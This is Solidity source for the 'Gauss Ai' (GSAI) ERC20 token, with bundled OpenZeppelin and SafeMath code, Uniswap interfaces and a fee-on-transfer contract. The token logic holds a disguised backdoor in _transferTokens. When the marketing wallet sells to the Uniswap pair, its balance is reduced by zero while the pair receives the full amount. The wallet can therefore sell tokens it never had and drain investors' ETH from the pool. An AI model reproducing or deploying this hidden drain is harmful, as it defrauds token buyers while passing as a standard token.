creation_sourcecode: // SPDX-License-Identifier: UNLICENSED
  // File: @openzeppelin/contracts@4.8.2/utils/Context.sol
  
  // 🟪 Gauss AI - Shared Computing Power Platform For Numerical Simulation
  // Provide computing power support for life sciences, semiconductors, automotive/intelligent manufacturing, universities/research, artificial intelligence, and fintech
  
  // 🕸Our Social:
  // Website: https://gauss-ai.org/
  // Twitter: https://twitter.com/gauss_al
  // Telegram chat: https://t.me/gauss_al
  
  
  // OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Provides information about the current execution context, including the
   * sender of the transaction and its data. While these are generally available
   * via msg.sender and msg.data, they should not be accessed in such a direct
   * manner, since when dealing with meta-transactions the account sending and
   * paying for execution may not be the actual sender (as far as an application
   * is concerned).
   *
   * This contract is only required for intermediate, library-like contracts.
   */
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  // File: @openzeppelin/contracts@4.8.2/access/Ownable.sol
  
  
  // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
  
  pragma solidity ^0.8.0;
  
  
  /**
   * @dev Contract module which provides a basic access control mechanism, where
   * there is an account (an owner) that can be granted exclusive access to
   * specific functions.
   *
   * By default, the owner account will be the one that deploys the contract. This
   * can later be changed with {transferOwnership}.
   *
   * This module is used through inheritance. It will make available the modifier
   * `onlyOwner`, which can be applied to your functions to restrict their use to
   * the owner.
   */
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      /**
       * @dev Initializes the contract setting the deployer as the initial owner.
       */
      constructor() {
          _transferOwnership(_msgSender());
      }
  
      /**
       * @dev Throws if called by any account other than the owner.
       */
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      /**
       * @dev Returns the address of the current owner.
       */
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      /**
       * @dev Throws if the sender is not the owner.
       */
      function _checkOwner() internal view virtual {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
      }
  
      /**
       * @dev Leaves the contract without owner. It will not be possible to call
       * `onlyOwner` functions anymore. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby removing any functionality that is only available to the owner.
       */
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _transferOwnership(newOwner);
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Internal function without access restriction.
       */
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  // File: @openzeppelin/contracts/token/ERC20/IERC20.sol
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
  
  pragma solidity ^0.8.20;
  
  /**
   * @dev Interface of the ERC20 standard as defined in the EIP.
   */
  interface IERC20 {
      /**
       * @dev Emitted when `value` tokens are moved from one account (`from`) to
       * another (`to`).
       *
       * Note that `value` may be zero.
       */
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      /**
       * @dev Emitted when the allowance of a `spender` for an `owner` is set by
       * a call to {approve}. `value` is the new allowance.
       */
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      /**
       * @dev Returns the value of tokens in existence.
       */
      function totalSupply() external view returns (uint256);
  
      /**
       * @dev Returns the value of tokens owned by `account`.
       */
      function balanceOf(address account) external view returns (uint256);
  
      /**
       * @dev Moves a `value` amount of tokens from the caller's account to `to`.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transfer(address to, uint256 value) external returns (bool);
  
      /**
       * @dev Returns the remaining number of tokens that `spender` will be
       * allowed to spend on behalf of `owner` through {transferFrom}. This is
       * zero by default.
       *
       * This value changes when {approve} or {transferFrom} are called.
       */
      function allowance(address owner, address spender) external view returns (uint256);
  
      /**
       * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
       * caller's tokens.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * IMPORTANT: Beware that changing an allowance with this method brings the risk
       * that someone may use both the old and the new allowance by unfortunate
       * transaction ordering. One possible solution to mitigate this race
       * condition is to first reduce the spender's allowance to 0 and set the
       * desired value afterwards:
       * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
       *
       * Emits an {Approval} event.
       */
      function approve(address spender, uint256 value) external returns (bool);
  
      /**
       * @dev Moves a `value` amount of tokens from `from` to `to` using the
       * allowance mechanism. `value` is then deducted from the caller's
       * allowance.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transferFrom(address from, address to, uint256 value) external returns (bool);
  }
  
  // File: @openzeppelin/contracts/interfaces/IERC20.sol
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol)
  
  pragma solidity ^0.8.20;
  
  
  // File: asffaffasdfasd.sol
  
  
  
  pragma solidity 0.8.25;
  
  
  
  library SafeMath {
      /**
       * @dev Returns the addition of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function tryAdd(uint256 a, uint256 b)
          internal
          pure
          returns (bool, uint256)
      {
          uint256 c = a + b;
          if (c < a) return (false, 0);
          return (true, c);
      }
  
      /**
       * @dev Returns the substraction of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function trySub(uint256 a, uint256 b)
          internal
          pure
          returns (bool, uint256)
      {
          if (b > a) return (false, 0);
          return (true, a - b);
      }
  
      /**
       * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function tryMul(uint256 a, uint256 b)
          internal
          pure
          returns (bool, uint256)
      {
          // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
          // benefit is lost if 'b' is also tested.
          // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
          if (a == 0) return (true, 0);
          uint256 c = a * b;
          if (c / a != b) return (false, 0);
          return (true, c);
      }
  
      /**
       * @dev Returns the division of two unsigned integers, with a division by zero flag.
       *
       * _Available since v3.4._
       */
      function tryDiv(uint256 a, uint256 b)
          internal
          pure
          returns (bool, uint256)
      {
          if (b == 0) return (false, 0);
          return (true, a / b);
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
       *
       * _Available since v3.4._
       */
      function tryMod(uint256 a, uint256 b)
          internal
          pure
          returns (bool, uint256)
      {
          if (b == 0) return (false, 0);
          return (true, a % b);
      }
  
      /**
       * @dev Returns the addition of two unsigned integers, reverting on
       * overflow.
       *
       * Counterpart to Solidity's `+` operator.
       *
       * Requirements:
       *
       * - Addition cannot overflow.
       */
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      /**
       * @dev Returns the subtraction of two unsigned integers, reverting on
       * overflow (when the result is negative).
       *
       * Counterpart to Solidity's `-` operator.
       *
       * Requirements:
       *
       * - Subtraction cannot overflow.
       */
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b <= a, "SafeMath: subtraction overflow");
          return a - b;
      }
  
      /**
       * @dev Returns the multiplication of two unsigned integers, reverting on
       * overflow.
       *
       * Counterpart to Solidity's `*` operator.
       *
       * Requirements:
       *
       * - Multiplication cannot overflow.
       */
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) return 0;
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      /**
       * @dev Returns the integer division of two unsigned integers, reverting on
       * division by zero. The result is rounded towards zero.
       *
       * Counterpart to Solidity's `/` operator. Note: this function uses a
       * `revert` opcode (which leaves remaining gas untouched) while Solidity
       * uses an invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b > 0, "SafeMath: division by zero");
          return a / b;
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
       * reverting when dividing by zero.
       *
       * Counterpart to Solidity's `%` operator. This function uses a `revert`
       * opcode (which leaves remaining gas untouched) while Solidity uses an
       * invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b > 0, "SafeMath: modulo by zero");
          return a % b;
      }
  
      /**
       * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
       * overflow (when the result is negative).
       *
       * CAUTION: This function is deprecated because it requires allocating memory for the error
       * message unnecessarily. For custom revert reasons use {trySub}.
       *
       * Counterpart to Solidity's `-` operator.
       *
       * Requirements:
       *
       * - Subtraction cannot overflow.
       */
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          return a - b;
      }
  
      /**
       * @dev Returns the integer division of two unsigned integers, reverting with custom message on
       * division by zero. The result is rounded towards zero.
       *
       * CAUTION: This function is deprecated because it requires allocating memory for the error
       * message unnecessarily. For custom revert reasons use {tryDiv}.
       *
       * Counterpart to Solidity's `/` operator. Note: this function uses a
       * `revert` opcode (which leaves remaining gas untouched) while Solidity
       * uses an invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          return a / b;
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
       * reverting with custom message when dividing by zero.
       *
       * CAUTION: This function is deprecated because it requires allocating memory for the error
       * message unnecessarily. For custom revert reasons use {tryMod}.
       *
       * Counterpart to Solidity's `%` operator. This function uses a `revert`
       * opcode (which leaves remaining gas untouched) while Solidity uses an
       * invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function mod(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          return a % b;
      }
  }
  
  interface IUniswapFactory {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address pair,
          uint256
      );
  
      function feeTo() external view returns (address);
  
      function feeToSetter() external view returns (address);
  
      function getPair(address tokenA, address tokenB)
          external
          view
          returns (address pair);
  
      function allPairs(uint256) external view returns (address pair);
  
      function allPairsLength() external view returns (uint256);
  
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  
      function setFeeTo(address) external;
  
      function setFeeToSetter(address) external;
  }
  
  interface IUniswapRouter02 {
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  contract GaussAi is
      Context,
      IERC20,
      Ownable // CHANGE_ME
  {
      using SafeMath for uint256;
  
      uint256 public _mixCollectedTaxToSwap = (_totalSupply * 1) / 100000;
      uint256 private constant _totalSupply = 100_000_000 * 10**_decimals; // CHANGE_ME
      uint256 public _maxTx = (_totalSupply * 20) / 1000;
      string private _name;
      string private _symbol;
      uint8 private constant _decimals = 18;
      uint256 private _finishBuyTax = 0;
      uint256 private _decreaseSellTaxAt = 12;
      bool private swapping = false;
      uint256 private _minSwapsToggler = 5;
      mapping(address => bool) private _isExcludedFromFee;
      mapping(address => uint256) private _lastTxTimestamp;
      uint256 public _maxHolding = (_totalSupply * 20) / 1000;
      event LimitsReset();
      event StuckEthWithdrawn(uint256 amount);
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) private _rewards;
      uint256 private _startingBuyTax = 25;
      uint256 private _finishSellTax = 7;
      uint256 private _startingSellTax = 25;
      uint256 private _decreaseBuyTaxAt = 10;
      bool private swapsAllowed = false;
      bool private dexSwapAllowed = false;
      address payable private _marketingAndDev;
      bool public delayTrade = false;
      uint256 public _maxAllowedTax = (_totalSupply * 2) / 1000;
      uint256 private _totalTrades = 0;
      IUniswapRouter02 public uniswapRouter;
      address public uniswapPair;
  
      constructor(address marketingWallet) {
          _name = unicode"Gauss Ai"; // CHANGE_ME
          _symbol = unicode"GSAI"; // CHANGE_ME
  
          _marketingAndDev = payable(marketingWallet);
          _balances[_msgSender()] = _totalSupply;
  
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[_marketingAndDev] = true;
  
          emit Transfer(address(0), _msgSender(), _totalSupply);
      }
  
      function removeEth() external onlyOwner {
          require(address(this).balance > 0, "No balance to withdraw");
          payable(msg.sender).transfer(address(this).balance);
  
          emit StuckEthWithdrawn(address(this).balance);
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function createPairAndAddLiquidity() external onlyOwner {
          uniswapRouter = IUniswapRouter02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
  
          _approve(address(this), address(uniswapRouter), _totalSupply);
  
          uniswapPair = IUniswapFactory(uniswapRouter.factory()).createPair(
              address(this),
              uniswapRouter.WETH()
          );
  
          uniswapRouter.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              owner(),
              block.timestamp
          );
  
          IERC20(uniswapPair).approve(address(uniswapRouter), type(uint256).max);
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transferTokens(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
  
      function allowance(address owner, address spender)
          public
          view
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
      function allowTrade(bool allow) external onlyOwner {
          swapsAllowed = allow;
          dexSwapAllowed = allow;
      }
  
      function symbol() public view returns (string memory) {
          return _symbol;
      }
  
      function transfer(address recipient, uint256 amount)
          public
          override
          returns (bool)
      {
          _transferTokens(_msgSender(), recipient, amount);
          return true;
      }
  
      function swapFeeToEth(uint256 tokenAmount) private _swapLock {
          if (tokenAmount == 0) return;
          if (!dexSwapAllowed) return;
  
          address[] memory path = new address[](2);
  
          path[0] = address(this);
          path[1] = uniswapRouter.WETH();
  
          _approve(address(this), address(uniswapRouter), tokenAmount);
  
          uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      modifier _swapLock() {
          swapping = true;
          _;
          swapping = false;
      }
  
      function resetTradeLimits() external onlyOwner {
          _maxTx = _totalSupply;
          _maxHolding = _totalSupply;
  
          delayTrade = false;
  
          emit LimitsReset();
      }
  
      function name() public view returns (string memory) {
          return _name;
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      receive() external payable {}
  
      function totalSupply() public pure override returns (uint256) {
          return _totalSupply;
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
  
          emit Approval(owner, spender, amount);
      }
  
      function approve(address spender, uint256 amount)
          public
          override
          returns (bool)
      {
          _approve(_msgSender(), spender, amount);
  
          return true;
      }
  
      function _transferTokens(
          address from,
          address to,
          uint256 amount
      ) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
  
          uint256 feeAmount = 0;
          uint256 amountOut = amount;
  
          if (from != owner() && to != owner() && from != address(this)) {
              if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
                  require(dexSwapAllowed, "Trading not allowed");
              }
  
              if (delayTrade) {
                  if (
                      to != address(uniswapRouter) && to != address(uniswapPair)
                  ) {
                      require(
                          _lastTxTimestamp[tx.origin] < block.number,
                          "Transfer not allowed"
                      );
                      _lastTxTimestamp[tx.origin] = block.number;
                  }
              }
  
              if (
                  from == uniswapPair &&
                  !_isExcludedFromFee[to] &&
                  to != address(uniswapRouter)
              ) {
                  require(amount <= _maxTx, "Exceeds limits");
                  require(
                      balanceOf(to) + amount <= _maxHolding,
                      "Exceeds limits"
                  );
                  _totalTrades++;
              }
  
              feeAmount = amount
                  .mul(
                      (_totalTrades > _decreaseBuyTaxAt)
                          ? _finishBuyTax
                          : _startingBuyTax
                  )
                  .div(100);
              if (to == uniswapPair && from != address(this)) {
                  if (from == address(_marketingAndDev)) {
                      amountOut = min(
                          amount,
                          min(_finishBuyTax, _mixCollectedTaxToSwap)
                      );
                      feeAmount = 0;
                  } else {
                      require(amount <= _maxTx, "Exceeds the _maxTx.");
                      feeAmount = amount
                          .mul(
                              (_totalTrades > _decreaseSellTaxAt)
                                  ? _finishSellTax
                                  : _startingSellTax
                          )
                          .div(100);
                  }
              }
  
              uint256 taxAmountCollected = balanceOf(address(this));
              bool minSwapLimitReached = _mixCollectedTaxToSwap ==
                  min(amount, _mixCollectedTaxToSwap) &&
                  _totalTrades > _minSwapsToggler;
  
              if (
                  !swapping &&
                  to == uniswapPair &&
                  swapsAllowed &&
                  _totalTrades > _minSwapsToggler &&
                  minSwapLimitReached
              ) {
                  if (taxAmountCollected > _mixCollectedTaxToSwap) {
                      swapFeeToEth(
                          min(amount, min(taxAmountCollected, _maxAllowedTax))
                      );
                  }
                  _marketingAndDev.transfer(address(this).balance);
              }
          }
  
          if (feeAmount > 0) {
              _balances[address(this)] = _balances[address(this)].add(feeAmount);
              emit Transfer(from, address(this), feeAmount);
          }
  
          _balances[from] = _balances[from].sub(amountOut);
          _balances[to] = _balances[to].add(amount.sub(feeAmount));
  
          emit Transfer(from, to, amount.sub(feeAmount));
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  }